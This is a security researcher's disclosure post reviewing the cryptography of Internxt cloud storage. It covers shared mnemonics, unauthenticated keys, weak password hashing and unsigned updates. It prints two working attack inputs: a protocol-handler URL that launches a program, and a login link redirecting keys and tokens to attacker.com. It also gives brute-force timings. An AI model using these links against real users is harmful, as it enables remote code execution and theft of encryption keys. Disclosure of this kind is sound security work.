Post-Quantum Crypto Won't Fix Your Architecture
Internxt is a post-quantum-secure encrypted cloud storage provider that is open-source and has passed multiple independent audits. I reviewed their cryptography after getting nerd-sniped on YouTube by a sponsored segment full of buzzwords:
It's a privacy-first cloud storage platform […] zero-knowledge encryption so only you can access them […] It also uses post-quantum cryptography to help you protect against current and future threats […] Internxt is open-source and independently audited by Securitum […] It's also GDPR compliant and ISO 27001 certified.
Turns out, quantum computers breaking their crypto should have been the least of their problems. Clicking a link in your browser could trigger remote code execution on the desktop app or leak your long-term encryption key to an attacker-chosen URL. Their cryptographic architecture stands on shaky grounds, with public keys never being verified, in some cases "mallory-in-the-middle" by design, a flat key hierarchy, and the password protected with just 3 iterations of MD5.
I have responsibly disclosed all issues. Three months later the latest desktop release (≤2.6.12) is still vulnerable to remote code execution, despite my fix long merged into their main branch. Edit: After this post went live, Internxt informed me that a patched v2.7 will be released at the start of next week. I'll update this section when it ships.
The cryptographic issues are deeper structural problems that can't be patched quickly, meaning that for the foreseeable future, you have to trust Internxt not to read or modify your data.
Internxt — Securing the world's data
At its core, Internxt is an end-to-end encrypted cloud storage provider that also offers a VPN, antivirus, cleaner, LLM, and meeting solution. Their code is open-source and has been independently audited by Securitum. They claim over one million active users across 100+ countries and are valued at around €40M. Their founder Fran Villalba Segarra is a Forbes 30 honoree and the company received a €1.4M grant from the Spanish government for research on post-quantum cryptography (PQC). They phrase this as "the world's most advanced encryption, post-quantum cryptography" and their page makes strong claims on their security:
Internxt Drive gives you full control and privacy of your cloud storage through zero-knowledge and post-quantum encryption. We can’t access your files; you keep full ownership, access, and control of your data.
Privacy matters, and so does good cryptography. When claims like these are not backed up with a secure implementation, it dilutes the terminology for everyone and pulls attention away from the products actually doing the work. That's why such products need to be scrutinized.
One Key to Rule Them All
Each user account has a password chosen by the user, a randomly generated 24-word "mnemonic" passphrase for deriving file encryption keys, and a pair of PGP + ML-KEM private keys used for sharing files between users. The private keys and mnemonic are not shown to the user. They never change and are stored encrypted in the backend. When a user logs in, they are fetched and decrypted client-side with the user's password. File keys are then derived deterministically from the mnemonic and used with AES-256-CTR without enforced integrity protection. All of this is symmetric cryptography, which has already been post-quantum secure for decades.
Findings
I responsibly disclosed 15 findings in total. I couldn't show all of that without boring my human readers, so I'm limiting myself to the most interesting ones. If you're curious about the rest, you can find the unabridged list here. I shared a draft of this post with Internxt before publication, but didn't receive any feedback on it.
Sharing the lot
Remember the mnemonic 24-word passphrase? The Internxt docs explain its usage as:
"For end-to-end encryption, we use your mnemonic as an encryption key (the only one that has access to that mnemonic is you)"
Internxt's flat hierarchy posed a problem when sharing a folder with other users. Sharing a single file is easy, you just hand over the key for that one file. Folder sharing is harder. You could share all current file keys, but the receiver wouldn't get access to files added later. A solution could be a better key hierarchy (e.g., a tree of keys) that allows for more fine-grained sharing. Instead, Internxt opted to just share the entire mnemonic with the other user when sharing a folder, essentially handing over the long-term, never-changing key that derives all file encryption keys.
Thankfully, the access control of Internxt prevents the other user from fetching the ciphertexts of content that wasn't shared with them. But that restriction only applies to users. Internxt itself runs the storage backend, so they see everything. There are three ways to share a folder between users, and in every case Internxt can intercept your mnemonic, which allows them to read and write all your data.
Existing user: Your app fetches the public key of the other user and encrypts your mnemonic to it. These keys are not authenticated, no fingerprint, no pinning, no out-of-band verification, no trust on first use. Unfortunately, this is a common gap throughout the industry. ETH's Applied Crypto Group flagged it in many password managers at zkae.io, and I found a similar issue in Proton.
No account yet: When you share a folder with an e-mail address that has no account yet (or if you have a typo in your recipient), the server pre-creates the keypair on behalf of that user. This is a "mallory-in-the-middle" by design. Once the user exists, the server re-encrypts the mnemonic with the real key.
Public link: If after all this you rightfully don't trust any of that public-key nonsense, you can just share your folder through a public link. The mnemonic gets encrypted with a random code, which is placed in the URL path. Many end-to-end encrypted sites use a browser trick and put encryption keys behind a URL fragment (#). If you open a URL like internxt.com/id#code, the server only sees internxt.com/id. The client-side JavaScript can then read #code and use it for its cryptographic operations. But with Internxt, the URL looks like internxt.com/id/code, so the code will be sent to the backend as part of the request.
If you ever shared a folder with Internxt, the backend could have intercepted your never-changing mnemonic. This would give them the means to read and write your files.
Malicious third party
So Internxt's backend could steal your data if it wanted to, but what about third parties? It turns out that even an external attacker could steal your session, mnemonic, or even execute code on your machine, just from you clicking a malicious link.
The Internxt desktop app registers internxt:// as a protocol handler, so any such URL opens directly in the app. They added a notification handler that calls shell.openExternal without verification, which opens links within the operating system. This can lead to remote code execution (RCE) on all major systems. For example, opening internxt://notification/file:///C:/Windows/System32/calc.exe in a browser on Windows launches the calculator app. This issue has been fixed through internxt/drive-desktop#1457, but at the time of writing there is no release containing the fix, no CVE, and no communication to users. All released versions, up to and including 2.6.12, are still vulnerable.
The desktop login flow has another issue. The desktop app has no login UI of its own, so it spins up a local server and opens the web app for the user. The web app logs the user in and redirects to the localhost URL the desktop app advertised. The web app never validates this URL, so an attacker can tell the site to redirect to https://attacker.com/capture instead of http://localhost:1234. You don't need the desktop app to be susceptible to this attack. Simply opening a URL like https://drive.internxt.com/login?universalLink=true&redirectUri= <base64(https://attacker.com/capture)> in your browser is enough to leak the mnemonic, private key and JWT token, which would allow an attacker to authenticate, download, and decrypt all files.
My proposed hotfix was merged in internxt/drive-web#2074, which restricts redirects to proper localhost addresses. That closes the door on external attackers, but the private key, mnemonic, and JWT still end up in the browser history. If your browser syncs history the way Chrome does when you're signed into Google, your encryption key ends up in the cloud.
Guess your password
Another threat all sites, even non-encrypted apps, must guard against is database breaches. One mitigation is to hash passwords before stroing them, so a breach doesn't expose them directly. Normally passwords are hashed in the backend, but for Internxt this is more complicated. Because the password also protects the mnemonic, the server must never see it, as their docs confirm:
Your Internxt password is used by you to encrypt and decrypt your Internxt data. As such, Internxt nor any other third-party stores your password.
Often this is solved with a PAKE, but Internxt invented their own protocol. The password is hashed client-side and sent to the backend encrypted with a hardcoded shared "secret" (trivially extractable from their shipped clients). Password hashing needs to be deliberately inefficient to resist brute-force attacks, which is why password hashing functions like Argon2 use lots of memory and iterations. Internxt chose PBKDF2 with 10k iterations of SHA-1. I've seen worse, but it's much less than the 1.4M iterations recommended by OWASP. Their passwords are hashed roughly like this:
function pbkdf2(password, salt) {
let block = HMAC(password, salt);
let result = block;
for (let i = 1; i < 10000; i++) {
block = HMAC(password, block);
result ^= block;
}
return result;
}
Unlike Argon2, PBKDF2 doesn't use much memory per iteration, so it's easy to parallelize. With only 10k iterations, John the Ripper running on my consumer RTX 3090 GPU could crack about 850k guesses per second. For simple passwords, a wordlist of one billion common passwords would take roughly twenty minutes to brute-force. A random 10-character lowercase password would take years to crack on my machine, but may be feasible on beefier setups.
While this is already enough to brute-force lazy passwords, it pales compared to an even more efficient brute-force vector. Internxt has fallen victim to the horrendous defaults of CryptoJS, essentially using CryptoJS.AES.encrypt(mnemonic, password). When passing a string instead of bytes for your key, CryptoJS falls back to OpenSSL's legacy EVP_BytesToKey and derives the key with just three passes of MD5, roughly like this:
function encrypt(mnemonic, password, salt) {
const key_0 = MD5(password + salt);
const key_1 = MD5(key_0 + password + salt);
const iv = MD5(key_1 + password + salt);
return AES256CBC.encrypt(mnemonic, key_0 + key_1, iv);
}
To crack this, you only need to recompute those three MD5 hashes, then decrypt the first AES block and check if it looks like the start of a mnemonic (all lowercase words with spaces). This was ~350x faster than the PBKDF2 above on my GPU. A one-billion-wordlist is brute-forced in about four seconds, and a random 10-character lowercase password could be cracked in about six days.
Self-rolled PQC
None of the previous findings get fixed by PQC, it's more like fitting a vault door to a tent. Still, we need good PQC, so I was eager to see how Internxt implemented it, especially since they were backed by a €1.4M grant from the Spanish government for post-quantum R&D.
The common practice in PQC is a hybrid approach for encryption, combining a post-quantum key exchange with a well-established one so an attacker must break both to break the scheme. A standard solution is X-Wing, combining the X25519 elliptic-curve key exchange with ML-KEM-768 to produce a key for a symmetric cipher like AES, which is already post-quantum secure on its own.
For their folder sharing, Internxt built their own hybrid construction instead. It's implemented in pgp.service.ts, which boils down to:
async function hybridEncrypt(message, eccPublicKey, kyberPublicKey) {
// Kyber key encapsulation
const { kyberCiphertext, kyberSecret } = kyber512.encapsulate(kyberPublicKey);
// Extend the secret to match the message length
const cipherStream = blake3(kyberSecret, message.length * 8);
// XOR and wrap it in ECC OpenPGP
const pgpCiphertext = openpgp.encrypt(XOR(message, cipherStream), eccPublicKey);
return kyberCiphertext + "$" + pgpCiphertext;
}
The PQC layer is just a Blake3 expansion of the Kyber shared secret XORed against the plaintext like a stream cipher, before feeding it into OpenPGP. This is malleable, and the two parts are not bound together, so swapping in a different Kyber ciphertext decrypts to a different value with no error. Compared to X-Wing, it uses a weaker variant of ML-KEM, does not have key binding or domain separation, and has no formal security proof.
Not that it matters here. As the folder-sharing findings showed, public keys are pulled from the backend with no authentication, so the server can simply hand you its own key and intercept the exchange.
Unverified updates
Internxt follows the unfortunate "industry standard" of not verifying signatures on their auto-updates. I had already disclosed the same issue to Proton and Bitwarden. The only integrity control is a SHA-512 hash from the same GitHub release, and signature verification is explicitly disabled in the config.
With Proton, the lack of update signature verification was one of the most impactful findings, here, it is just a footnote. I still mention it because not verifying software signatures should not become normalized.
Audited, Certified and Insecure
At this point you might wonder how that many issues could go unnoticed for so long. After all, their code is open-source and they have been audited twice by Securitum, an established firm trusted by Proton and DuckDuckGo.
While their first audit from 2022 is public, the audit from 2025 has no public report apart from Internxt's write-up, which claims:
No severe vulnerabilities were identified during the assessment. A few low-risk vulnerabilities and information points were reported.
This doesn't align at all with what I found, so I reached out to Securitum directly. They confirmed a significant difference in how the two audits were structured and that it was the decision of Internxt not to publish the second report. They couldn't tell me more because of an NDA, but I assume the second review was done with a very limited timeframe and scope, which naturally yields fewer findings at a lower cost. When someone challenged Internxt about the Securitum findings, they threatened to take legal measures against the author. The post has since been removed.
I had observed a similar pattern in my review of Sharekey, which had been reviewed by the cryptographer JP Aumasson. His report was scoped to passive confidentiality only, but I found severe integrity issues within a week. None of it contradicted his findings, but from afar it still looked like an endorsement. The same goes for Securitum. Their name is used to accredit an insecure product, which risks devaluing their genuine and well-scoped reports.
The marketing material also mentions their ISO 27001, SOC 2 and HIPAA compliance. For anyone in the field, it should be no surprise that this only has a marginal impact on the actual security of the product. These audits focus on processes and paperwork, which can have value. But asking an ISO 27001 auditor to evaluate your cryptography is like asking a food critic to check if the chef washed his hands.
Need for PQC
We need good PQC, and we need it now. IBM and Microsoft both claim to deliver scalable, fault-tolerant quantum computers by 2029. Google, Cloudflare, and Microsoft set the same year as the target for full post-quantum migration. The chance of cryptographically relevant quantum computers arriving by 2030 is probably not very high. But even if there is just a 10% chance, store-now-decrypt-later attacks are a big enough threat, so we need an early transition as fast as possible.

The transition is already underway. TLS 1.3 has supported PQC key exchange for a while now, and if your browser is up to date, you just did a hybrid X25519MLKEM768 key exchange with my server. Over 70% of Cloudflare's traffic already uses post-quantum secure encryption. Web PKI is harder, there's a shift away from X.509 certificates toward Merkle Tree Certificates (MTC), and Let's Encrypt plans to test MTCs in late 2026 and use them in production in 2027.
The transition is going to be massive, and this opens the door for snake-oil cryptography. When someone sells the "world's most advanced encryption" without authenticating public keys, it's just noise that drowns out those doing the real work. Use protocols and products that have undergone review by academia. For migration, especially if you write your own code, do it with professionals. (Full disclosure: this research was done in my free time, and the opinions are my own, but my employer ELCASecurity offers services for doing PQC migration the right way.)
Conclusion
The issues at Internxt seem deep, and I wouldn't expect their cryptographic engineering to suddenly improve even if they fixed everything I raised. Other vendors such as Proton or Ente can probably give you what you need with better security. But whenever these crypto SaaS deliver their app through your browser, remember that a web app can never meaningfully deliver end-to-end encryption guarantees. Whoever ships you the app can also ship you the backdoor, and decide to do so on every single page load. But getting at your data would go against their business model, and their protection is probably enough that they can plausibly deny access to your encrypted data for lawful requests.
Personally, I am enjoying my self-hosted immich for photos, and when I need to share files with others, I either use Signal or a self-hosted OpenCloud instance. A good option to access these remotely is through netbird. Encrypting files works well with age, and for quick shares between two machines magic-wormhole is very useful. Just remember to keep good backup hygiene.
It's important to scrutinize products like Internxt because privacy is too important to be misused for marketing. In this case, their claims didn't hold up in a way that's worse than a neutral failure. It's a step backward for everyone who truly needs protection and shouldn't be tolerated.